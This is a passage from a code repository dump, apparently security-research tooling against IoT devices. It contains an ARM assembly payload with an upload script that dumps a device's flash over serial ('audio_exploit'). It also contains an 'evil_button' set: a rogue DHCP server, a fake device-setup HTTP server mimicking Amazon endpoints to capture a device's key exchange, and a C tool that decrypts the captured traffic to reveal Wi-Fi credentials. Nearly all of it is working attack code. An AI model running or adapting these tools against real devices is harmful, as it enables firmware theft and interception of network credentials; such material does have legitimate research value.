R4, =0x400E1450 23 | LDR R5, =0xA5000001 24 | 25 | 26 | loop: 27 | 28 | wait_csr: 29 | /* send 1 byte */ 30 | /* Loop until CSR Bit 1 is set */ 31 | 32 | LDR R6, [R3] // Load CSR to R6 33 | TST R6, #2 34 | BEQ wait_csr 35 | 36 | /* Send R1 lowest byte to THR and increment R1 by one */ 37 | 38 | LDRB.W R7, [R1], #1 39 | STRB R7, [R3, #8] 40 | 41 | /* poke watchdog */ 42 | STR R5, [R4] 43 | 44 | /* check for end of flash */ 45 | MOVS R6, R1, LSR #16 46 | CMP R6, #0x48 47 | BNE loop 48 | 49 | /* let the watchdog expire */ 50 | done: 51 | B done 52 | 53 | -------------------------------------------------------------------------------- /audio_exploit/upload.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | TOOLCHAIN_PREFIX=arm-none-eabi 4 | 5 | $TOOLCHAIN_PREFIX-as -mthumb $1.s -o $1.elf 6 | $TOOLCHAIN_PREFIX-objcopy -O binary $1.elf $1.bin 7 | 8 | truncate -s 4096 $1.bin 9 | 10 | cat $1.bin > /dev/ttyUSB0 11 | -------------------------------------------------------------------------------- /audio_exploit/utils.lua: -------------------------------------------------------------------------------- 1 | 2 | if socket == nil then socket = require("socket") end 3 | 4 | function sleep(n) 5 | -- keep the LUA interpreter responsive in case ctrl+c is pressed 6 | while n >= 1 do 7 | socket.select(nil, nil, 1) 8 | n = n - 1 9 | end 10 | if n>0 then 11 | socket.select(nil, nil, n) 12 | end 13 | end 14 | 15 | function gettime() 16 | return socket.gettime() 17 | end 18 | 19 | eta = {} 20 | 21 | function eta:new() 22 | local res = {} 23 | setmetatable(res, self) 24 | self.__index = self 25 | res.working = false 26 | res.timecnt = 0 27 | res.start_time = 0 28 | return res 29 | end 30 | 31 | function eta:start_work() 32 | if self.working then return end 33 | self.start_time = gettime() 34 | self.working = true 35 | end 36 | 37 | function eta:stop_work() 38 | if self.working ~= true then return end 39 | self.timecnt = self.timecnt + (gettime() - self.start_time) 40 | self.start_time = 0 41 | self.working = false 42 | end 43 | 44 | function eta:clear_estimate() 45 | self:stop_work() 46 | self.timecnt = 0 47 | end 48 | 49 | function eta:remaining_seconds(jobs_done, jobs_remaining) 50 | -- update timecnt if currently working 51 | if self.working == true then 52 | self:stop_work() 53 | self:start_work() 54 | end 55 | if not (self.timecnt > 0) then return end 56 | if jobs_done <= 0 then return end 57 | local time_per_job = self.timecnt / jobs_done 58 | local remaining_time = jobs_remaining * time_per_job 59 | return math.floor(remaining_time) 60 | end 61 | 62 | function eta:remaining_time(jobs_done, jobs_remaining) 63 | local remaining = self:remaining_seconds(jobs_done, jobs_remaining) 64 | if remaining == nil then return end 65 | local secs = remaining%60 66 | remaining = math.floor(remaining/60) 67 | local mins = remaining%60 68 | remaining = math.floor(remaining/60) 69 | local hours = remaining%24 70 | local days = math.floor(remaining/24) 71 | local res = "" 72 | local function plural(str,val) 73 | if val ~= 1 then return str.."s" else return str end 74 | end 75 | if days > 0 then 76 | res = days .. " "..plural("day",days)..", " 77 | end 78 | if hours > 0 or #res>0 then 79 | res = res .. hours .. " "..plural("hour",hours)..", " 80 | end 81 | if mins > 0 or #res>0 then 82 | res = res .. mins .. " "..plural("minute",mins)..", " 83 | end 84 | if secs > 0 or #res>0 then 85 | res = res .. secs .. " "..plural("second",secs)..", " 86 | end 87 | if #res < 1 then 88 | res = "0 seconds, " 89 | end 90 | return res:sub(1, -3) 91 | end 92 | 93 | function eta:finish_date(jobs_done, jobs_remaining) 94 | local remaining = self:remaining_seconds(jobs_done, jobs_remaining) 95 | if remaining == nil then return end 96 | local now = gettime() 97 | local finish = now + remaining 98 | return os.date("%c", finish) 99 | end 100 | 101 | throttle = {} 102 | 103 | function throttle:delay(args) 104 | local now = gettime() 105 | -- first call, no delay needed 106 | if self.last_time == nil then 107 | self.last_time = now 108 | return 0 109 | end 110 | local delay = (self.last_time + self.delayval) - now 111 | delay = math.max(delay, 0) -- handle negative delays 112 | if delay > 0 then 113 | if args ~= nil and args.wait == false then return delay end 114 | sleep(delay) 115 | delay = 0 116 | end 117 | -- reset timer unless prevented by user 118 | if args == nil or args.reset ~= false then 119 | self.last_time = gettime() 120 | end 121 | return delay 122 | end 123 | 124 | function throttle:new(rate) 125 | local res = {} 126 | setmetatable(res, self) 127 | self.__index = self 128 | res.delayval = 1/rate 129 | return res 130 | end 131 | 132 | function tohex(buf) 133 | if type(buf) == "number" then 134 | return string.format('%02x', buf) 135 | end 136 | local str = "" 137 | if buf == nil then return "" end 138 | for i=1,#buf do 139 | str = str .. string.format('%02x ', buf:byte(i)) 140 | end 141 | if #str > 1 then 142 | str = str:sub(1, -2) 143 | end 144 | return str 145 | end 146 | 147 | function fromhex(s) 148 | if (s == nil) or (s == "") then return nil end 149 | local res = string.gsub(s, "%s*(%x%x)%s*", 150 | function (h) 151 | return string.char(tonumber(h, 16)) 152 | end) 153 | return res 154 | end 155 | 156 | function packint(val,len) 157 | local res = "" 158 | val = math.floor(val) 159 | if len == nil then len = 4 end 160 | for i=1,len do 161 | res = string.char(val%256) .. res 162 | val = math.floor(val/256) 163 | end 164 | return res 165 | end 166 | 167 | function unpackint(str) 168 | local res = 0 169 | for i = 1, #str do 170 | res = res + string.byte(str, i) * 256^(#str-i) 171 | end 172 | return res 173 | end 174 | 175 | function dump_table(t,prefix) 176 | local k,v 177 | if prefix == nil then prefix = " " end 178 | for k,v in pairs(t) do 179 | if type(v) == "table" then dump_table(v," "..prefix..k..".") 180 | else print(prefix..k.."=",v) end 181 | end 182 | end 183 | 184 | function list_funcs(p1,p2) 185 | local tbl = _G 186 | local str 187 | if type(p1) == "table" then 188 | tbl = p1 189 | elseif type(p1) == "string" then 190 | str = p1 191 | end 192 | if type(p2) == "string" then 193 | str = p2 194 | end 195 | for k,v in pairs(tbl) do 196 | if type(v) == "function" and 197 | (str == nil or string.find(k,str) ~= nil) then 198 | print(k) 199 | end 200 | end 201 | end 202 | 203 | function file_exists(name) 204 | local f=io.open(name,"r") 205 | if f ~= nil then 206 | io.close(f) 207 | return true 208 | else 209 | return false 210 | end 211 | end 212 | -------------------------------------------------------------------------------- /evil_button/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -Wall -o dh dh.c -lmbedtls -lmbedcrypto 3 | -------------------------------------------------------------------------------- /evil_button/dh.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | /* 11 | gcc -Wall -o dh dh.c -lmbedtls -lmbedcrypto 12 | ./dh < foo 13 | dh_shared : XX 14 | sha256 out: YY 15 | ... 16 | {"expiry":14772423230,"token":"ABCD"} 17 | 18 | {"priority":0,"psk":"test123","keyMgmt":"WPA_PSK","ssid":"Cyber"} 19 | */ 20 | 21 | static void hexdump(const uint8_t *d, size_t n) { 22 | for(;n;n--,d++) 23 | printf("%02x ",*d); 24 | puts(""); 25 | } 26 | 27 | static uint8_t binbuf[512]; 28 | 29 | static uint8_t *hexparse(char *buf, size_t *len) { 30 | uint8_t *ptr; 31 | for(ptr=binbuf;*buf >= 0x20;buf+=3,ptr++) 32 | *ptr = strtoul(buf, NULL, 16); 33 | if(len) 34 | *len = ptr - binbuf; 35 | return binbuf; 36 | } 37 | 38 | static void asciidump(const uint8_t *d, size_t len) { 39 | for(;len;len--,d++) { 40 | uint8_t v = *d >= 0x20 ? *d : '.'; 41 | v = v <= 0x7e ? v : '.'; 42 | putchar(v); 43 | } 44 | puts(""); 45 | } 46 | 47 | int main(int argc, char **argv) { 48 | mbedtls_pk_context peer_pk, mykey; 49 | mbedtls_ecdh_context ecdh; 50 | mbedtls_gcm_context gcm; 51 | char line[1024]; 52 | uint8_t output[1024]; 53 | uint8_t dh_obuf[32], hash_obuf[32]; 54 | size_t dh_olen = sizeof(dh_obuf); 55 | int res; 56 | 57 | mbedtls_pk_init(&peer_pk); 58 | mbedtls_pk_init(&mykey); 59 | mbedtls_ecdh_init(&ecdh); 60 | mbedtls_gcm_init(&gcm); 61 | 62 | res = mbedtls_pk_parse_keyfile(&mykey, "prime256v1-key.pem", NULL); 63 | assert(!res); 64 | 65 | res = mbedtls_ecdh_get_params(&ecdh, mbedtls_pk_ec(mykey), MBEDTLS_ECDH_OURS); 66 | assert(!res); 67 | 68 | res = mbedtls_pk_parse_public_keyfile(&peer_pk, "peer_pubkey.pem"); 69 | assert(!res); 70 | 71 | res = mbedtls_ecdh_get_params(&ecdh, mbedtls_pk_ec(peer_pk), MBEDTLS_ECDH_THEIRS); 72 | assert(!res); 73 | 74 | res = mbedtls_ecdh_calc_secret(&ecdh, &dh_olen, dh_obuf, sizeof(dh_obuf), NULL, NULL); 75 | assert(!res); 76 | 77 | printf("dh_shared : "); 78 | hexdump(dh_obuf, dh_olen); 79 | 80 | mbedtls_sha256(dh_obuf, dh_olen, hash_obuf, 0); 81 | 82 | printf("sha256 out: "); 83 | hexdump(hash_obuf, 32); 84 | 85 | res = mbedtls_gcm_setkey(&gcm, MBEDTLS_CIPHER_ID_AES, hash_obuf, 128); 86 | assert(!res); 87 | 88 | while(fgets(line, sizeof(line), stdin)) { 89 | size_t blen, add_len = 0, tag_len = 16; 90 | uint8_t *iv, *bin = hexparse(line, &blen), *add = NULL, *tag = NULL; 91 | if(blen <= (3*3 + 32)) 92 | break; 93 | iv = bin+3; 94 | tag = bin+3+16+3; 95 | bin = bin+3+16+3+16+3; 96 | blen -= 3+16+3+16+3; 97 | res = mbedtls_gcm_auth_decrypt(&gcm, blen, iv, 16, add, add_len, tag, tag_len, bin, output); 98 | assert(!res); 99 | hexdump(output,blen); 100 | asciidump(output,blen); 101 | } 102 | 103 | return 0; 104 | } 105 | -------------------------------------------------------------------------------- /evil_button/dhcpd.lua: -------------------------------------------------------------------------------- 1 | #!/usr/bin/lua 2 | 3 | require "utils" 4 | local sock = require "socket" 5 | udp = sock.udp() 6 | udp:setsockname("*", 67) 7 | udp:settimeout(nil) 8 | 9 | local client_mac = "23 23 23 23 23 23" 10 | local client_ip = "c0 a8 00 0a" 11 | local server_ip = "c0 a8 00 01" 12 | 13 | function parse_options(opt) 14 | local opts = {} 15 | while(#opt > 1) do 16 | local id = opt:byte(1) 17 | local len = opt:byte(2) 18 | local data = opt:sub(3,3+len-1) 19 | opts[id]=data 20 | opt = opt:sub(3+len) 21 | end 22 | return opts 23 | end 24 | 25 | local reply_options = { 26 | [1] = fromhex("ff ff ff 00"), 27 | [58] = fromhex("00 00 07 08"), 28 | [59] = fromhex("00 00 0c 4e"), 29 | [51] = fromhex("00 00 0e 10"), 30 | [54] = fromhex("c0 a8 00 01"), 31 | } 32 | 33 | function encode_options(opts) 34 | local buf = "" 35 | for k,v in pairs(opts) do 36 | buf = buf .. string.char(k) .. string.char(#v) .. v 37 | end 38 | return buf .. string.char(255) 39 | end 40 | 41 | function parse_bootp_req(data) 42 | local tid = data:sub(5,8) 43 | local client_mac = data:sub(29,29+5) 44 | local options = parse_options(data:sub(256-15)) 45 | --print(tohex(tid),tohex(client_mac)) 46 | --dump_table(options) 47 | return tid, client_mac, options 48 | end 49 | 50 | function zeroes(n) 51 | local buf = "" 52 | for i=1,n do 53 | buf = buf .. string.char(0) 54 | end 55 | return buf 56 | end 57 | 58 | function ip2txt(ip) 59 | return ip:byte(1).."."..ip:byte(2).."."..ip:byte(3).."."..ip:byte(4) 60 | end 61 | 62 | function send_response(ip, port, tid, client_mac, opts) 63 | if opts[53] == fromhex("02") then 64 | -- discover 65 | next_server = fromhex(server_ip) 66 | end 67 | local buf = fromhex("02 01 06 00") .. tid .. zeroes(2 + 2 + 4) .. ip .. next_server .. zeroes(4) 68 | buf = buf .. client_mac .. zeroes(10 + 3*16 + 9*16) .. fromhex("63 82 53 63") 69 | buf = buf .. encode_options(opts) .. zeroes(32) 70 | local res, err = udp:sendto(buf,ip2txt(ip),port) 71 | --print(ip2txt(ip),res,err) 72 | end 73 | 74 | function is_android(v) 75 | return v and v:find("android%-dhcp") 76 | end 77 | 78 | function handle_request(ip, port, tid, mac, opts) 79 | print("handle", tohex(mac):gsub(" ",":"), port, tohex(tid):gsub(" ","")) 80 | local reply_opts = {} 81 | -- copy options 82 | for k,v in pairs(reply_options) do 83 | reply_opts[k]=v 84 | end 85 | if opts[53] == fromhex("01") then 86 | -- discover 87 | reply_opts[53]=fromhex("02") -- offer 88 | elseif opts[53] == fromhex("03") then 89 | -- request 90 | reply_opts[53]=fromhex("05") -- offer 91 | end 92 | return send_response(fromhex(client_ip),port,tid,mac,reply_opts) 93 | end 94 | 95 | os.execute("arp -s "..ip2txt(fromhex(client_ip)).." "..client_mac:gsub(" ", ":")) 96 | 97 | while true do 98 | local data, ip, port = udp:receivefrom() 99 | local tid, mac, opts = parse_bootp_req(data) 100 | if mac == fromhex(client_mac) then 101 | handle_request(ip, port, tid, mac, opts) 102 | end 103 | --print(ip,port,tohex(data)) 104 | end 105 | -------------------------------------------------------------------------------- /evil_button/httpd.lua: -------------------------------------------------------------------------------- 1 | #!/usr/bin/lua 2 | 3 | -- load namespace 4 | local socket = require("socket") 5 | 6 | require "utils" 7 | 8 | local peer_pubkey 9 | 10 | function pubkey_handler(method,location,posted) 11 | local body = "" 12 | if method == "GET" then 13 | body = '{"publicKey":"-----BEGIN PUBLIC KEY-----\n==\n-----END PUBLIC KEY-----\n","scheme":0}' 14 | else 15 | peer_pubkey = posted:sub(15,-14):gsub("\\n","\n") 16 | print(peer_pubkey) 17 | end 18 | return 200, body 19 | end 20 | 21 | function dummy_handler(method,location,posted) 22 | --print(printable(posted)) 23 | return 200, "" 24 | end 25 | 26 | local content = { 27 | ["/"] = '{"amzn_devid":"23","amzn_macid":"23","international":1,"amzn_networks":[{"ssid":"Cyber","bssid":"23","security":"WPA AES PSK","rssi":"-40"},{"ssid":"Cyber2","bssid":"23","security":"WPA AES PSK","rssi":"-75"}],"schemes":[0]}', 28 | ["/pubkey"] = pubkey_handler, 29 | ["/locale"] = dummy_handler, 30 | ["/stoken"] = dummy_handler, 31 | ["/network"] = dummy_handler, 32 | } 33 | 34 | function http_response(method, location, posted) 35 | local body = content[location] 36 | local status = 200 37 | if body == nil then 38 | status = 400 39 | body = "" 40 | elseif type(body) == "function" then 41 | status, body = body(method,location,posted) 42 | end 43 | print(method,location,status,type(body),printable(posted)) 44 | local reply = "HTTP/1.1 "..status.." OK\r\n" 45 | reply = reply .. "Content-type: text/html\r\n" 46 | return reply.."\r\n"..body 47 | end 48 | 49 | -- create a TCP socket and bind it to the local host, at any port 50 | local server = socket.try(socket.bind("*", 80)) 51 | server:setoption("reuseaddr", true) 52 | -- find out which port the OS chose for us 53 | local ip, port = server:getsockname() 54 | -- loop forever waiting for clients 55 | while 1 do 56 | -- wait for a conection from any client 57 | local client = server:accept() 58 | local line, err 59 | local loc, method 60 | local body = nil 61 | local body_len = 0 62 | repeat 63 | line, err = client:receive() 64 | if line and not err then 65 | --print(line) 66 | if line:find("HTTP/1.1") then 67 | method, loc = line:match("(%g+) (%g+) ") 68 | --print(method,loc) 69 | elseif #line == 0 then -- end of header 70 | --print(#line) 71 | if method == "POST" then 72 | body = client:receive(body_len) 73 | --print("POST len "..body_len) 74 | end 75 | client:send(http_response(method,loc,body)) 76 | client:close() 77 | --print(line) 78 | else 79 | local len = line:match("Content%-Length: (%d+)") 80 | if len then body_len = len end 81 | end 82 | end 83 | until err 84 | client:close() 85 | --print(method,loc) 86 | end 87 | -------------------------------------------------------------------------------- /evil_button/utils.lua: -------------------------------------------------------------------------------- 1 | 2 | if socket == nil then socket = require("socket") end 3 | 4 | function sleep(n) 5 | -- keep the LUA interpreter responsive in case ctrl+c is pressed 6 | while n >= 1 do 7 | socket.select(nil, nil, 1) 8 | n = n - 1 9 | end 10 | if n>0 then 11 | socket.select(nil, nil, n) 12 | end 13 | end 14 | 15 | function gettime() 16 | return socket.gettime() 17 | end 18 | 19 | eta = {} 20 | 21 | function eta:new() 22 | local res = {} 23 | setmetatable(res, self) 24 | self.__index = self 25 | res.working = false 26 | res.timecnt = 0 27 | res.start_time = 0 28 | return res 29 | end 30 | 31 | function eta:start_work() 32 | if self.working then return end 33 | self.start_time = gettime() 34 | self.working = true 35 | end 36 | 37 | function eta:stop_work() 38 | if self.working ~= true then return end 39 | self.timecnt = self.timecnt + (gettime() - self.start_time) 40 | self.start_time = 0 41 | self.working = false 42 | end 43 | 44 | function eta:clear_estimate() 45 | self:stop_work() 46 | self.timecnt = 0 47 | end 48 | 49 | function eta:remaining_seconds(jobs_done, jobs_remaining) 50 | -- update timecnt if currently working 51 | if self.working == true then 52 | self:stop_work() 53 | self:start_work() 54 | end 55 | if not (self.timecnt > 0) then return end 56 | if jobs_done <= 0 then return end 57 | local time_per_job = self.timecnt / jobs_done 58 | local remaining_time = jobs_remaining * time_per_job 59 | return math.floor(remaining_time) 60 | end 61 | 62 | function eta:remaining_time(jobs_done, jobs_remaining) 63 | local remaining = self:remaining_seconds(jobs_done, jobs_remaining) 64 | if remaining == nil then return end 65 | local secs = remaining%60 66 | remaining = math.floor(remaining/60) 67 | local mins = remaining%60 68 | remaining = math.floor(remaining/60) 69 | local hours = remaining%24 70 | local days = math.floor(remaining/24) 71 | local res = "" 72 | local function plural(str,val) 73 | if val ~= 1 then return str.."s" else return str end 74 | end 75 | if days > 0 then 76 | res = days .. " "..plural("day",days)..", " 77 | end 78 | if hours > 0 or #res>0 then 79 | res = res .. hours .. " "..plural("hour",hours)..", " 80 | end 81 | if mins > 0 or #res>0 then 82 | res = res .. mins .. " "..plural("minute",mins)..", " 83 | end 84 | if secs > 0 or #res>0 then 85 | res = res .. secs .. " "..plural("second",secs)..", " 86 | end 87 | if #res < 1 then 88 | res = "0 seconds, " 89 | end 90 | return res:sub(1, -3) 91 | end 92 | 93 | function eta:finish_date(jobs_done, jobs_remaining) 94 | local remaining = self:remaining_seconds(jobs_done, jobs_remaining) 95 | if remaining == nil then return end 96 | local now = gettime() 97 | local finish = now + remaining 98 | return os.date("%c", finish) 99 | end 100 | 101 | throttle = {} 102 | 103 | function throttle:delay(args) 104 | local now = gettime() 105 | -- first call, no delay needed 106 | if self.last_time == nil then 107 | self.last_time = now 108 | return 0 109 | end 110 | local delay = (self.last_time + self.delayval) - now 111 | delay = math.max(delay, 0) -- handle negative delays 112 | if delay > 0 then 113 | if args ~= nil and args.wait == false then return delay end 114 | sleep(delay) 115 | delay = 0 116 | end 117 | -- reset timer unless prevented by user 118 | if args == nil or args.reset ~= false then 119 | self.last_time = gettime() 120 | end 121 | return delay 122 | end 123 | 124 | function throttle:new(rate) 125 | local res = {} 126 | setmetatable(res, self) 127 | self.__index = self 128 | res.delayval = 1/rate 129 | return res 130 | end 131 | 132 | function tohex(buf) 133 | if type(buf) == "number" then 134 | return string.format('%02x', buf) 135 | end 136 | local str = "" 137 | if buf == nil then return "" end 138 | for i=1,#buf do 139 | str = str .. string.format('%02x ', buf:byte(i)) 140 | end 141 | if #str > 1 then 142 | str = str:sub(1, -2) 143 | end 144 | return str 145 | end 146 | 147 | function fromhex(s) 148 | if (s == nil) or (s == "") then return nil end 149 | local res = string.gsub(s, "%s*(%x%x)%s*", 150 | function (h) 151 | return string.char(tonumber(h, 16)) 152 | end) 153 | return res 154 | end 155 | 156 | function packint(val,len) 157 | local res = "" 158 | val = math.floor(val) 159 | if len == nil then len = 4 end 160 | for i=1,len do 161 | res = string.char(val%256) .. res 162 | val = math.floor(val/256) 163 | end 164 | return res 165 | end 166 | 167 | function unpackint(str) 168 | local res = 0 169 | for i = 1, #str do 170 | res = res + string.byte(str, i) * 256^(#str-i) 171 | end 172 | return res 173 | end 174 | 175 | function printable(v) 176 | if not v then return "" end 177 | for i=1,#v do 178 | local val = v:byte(1) 179 | if val < 0x20 or val > 0x7e then 180 | return tohex(v) 181 | end 182 | end 183 | return v 184 | end 185 | 186 | function dump_table(t,prefix) 187 | local k,v 188 | if prefix == nil then prefix = " " end 189 | for k,v in pairs(t) do 190 | if type(v) == "table" then dump_table(v," "..prefix..k..".") 191 | else print(prefix..k.."=",printable(v)) end 192 | end 193 | end 194 | 195 | function list_funcs(p1,p2) 196 | local tbl = _G 197 | local str 198 | if type(p1) == "table" then 199 | tbl = p1 200 | elseif type(p1) == "string" then 201 | str = p1 202 | end 203 | if type(p2) == "string" then 204 | str = p2 205 | end 206 | for k,v in pairs(tbl) do 207 | if type(v) == "function" and 208 | (str == nil or string.find(k,str) ~= nil) then 209 | print(k) 210 | end 211 | end 212 | end 213 | 214 | function file_exists(name) 215 | local f=io.open(name,"r") 216 | if f ~= nil then 217 | io.close(f) 218 | return true 219 | else 220 | return false 221 | end 222 | end 223 | --------------------------------------------------------------------------------